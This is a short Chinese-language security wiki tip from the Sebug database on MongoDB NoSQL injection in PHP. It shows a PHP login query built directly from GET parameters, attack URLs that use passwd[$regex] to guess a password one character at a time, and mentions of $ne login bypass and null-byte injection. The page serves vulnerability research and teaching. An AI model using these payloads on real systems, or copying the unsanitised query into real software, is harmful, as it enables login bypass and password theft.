Mongo+php 注射的一个tips

出自sebug security vulnerability(SSV) DB
跳转到: 导航, 搜索
<?php
$con = new Mongo();
$db  = $con->selectDB("demo")->selectCollection("admin");
var_dump($_GET['passwd']);
$ds =$db->find(array("username"=>$_GET['username'],"password"=>$_GET['passwd']));
foreach($ds as $k=>$v){
var_dump($v);
}
?>
http://localhost/mongo/go-1.php?username=heige&passwd[$regex]=^1
http://localhost/mongo/go-1.php?username=heige&passwd[$regex]=^2


测试的数据库结构:

> db.admin.find()
{ "_id" : ObjectId("4f562d110920d897e6765ae1"), "uid" : 1, "username" : "heige", "password" : "123456" }
{ "_id" : ObjectId("4f5b38ba0920d897e6765ae2"), "uid" : 2, "username" : "admin", "password" : "admin" }

这样的注射方式主要利用了PHP的特点,可以直接提交array 。。。


另外参考老外的2个tips

  1. 直接用$ne 这个类似于常见的万用密码 http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/
  2. null字节注射 http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/


http://hi.baidu.com/hi_heige/item/ce93ce926dede4f428164747
个人工具
名字空间
变换
导航
工具箱